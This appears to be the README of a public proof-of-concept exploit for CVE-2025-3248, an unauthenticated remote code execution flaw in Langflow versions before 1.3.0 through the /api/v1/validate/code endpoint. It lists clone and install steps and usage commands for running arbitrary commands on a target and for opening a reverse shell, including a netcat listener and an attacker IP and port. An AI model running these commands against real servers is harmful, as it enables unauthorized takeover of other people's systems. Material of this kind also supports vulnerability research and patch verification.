
PoC for CVE-2025-3248: unauthenticated RCE in Langflow < 1.3.0 via /api/v1/validate/code.
A proof-of-concept exploit demonstrating a remote code execution vulnerability in Langflow's code validation endpoint. This vulnerability affects Langflow versions prior to 1.3.0, allowing unauthenticated attackers to execute arbitrary code through crafted HTTP requests.
/api/v1/validate/coderequestscoloramagit clone https://github.com/preemware/langflow-exploit
cd langflow-exploit
pip install requests colorama
The exploit supports two modes of operation:
Execute a single command on the target system:
python3 cve-2025-3248.py cmd <target_url> "<command>"
Example:
python3 cve-2025-3248.py cmd http://target:7860 "id"
Spawn an interactive reverse shell:
nc -lvnp 4444
python3 cve-2025-3248.py shell <target_url> <your_ip> <your_port>
Example:
python3 cve-2025-3248.py shell http://target:7860 10.0.0.5 4444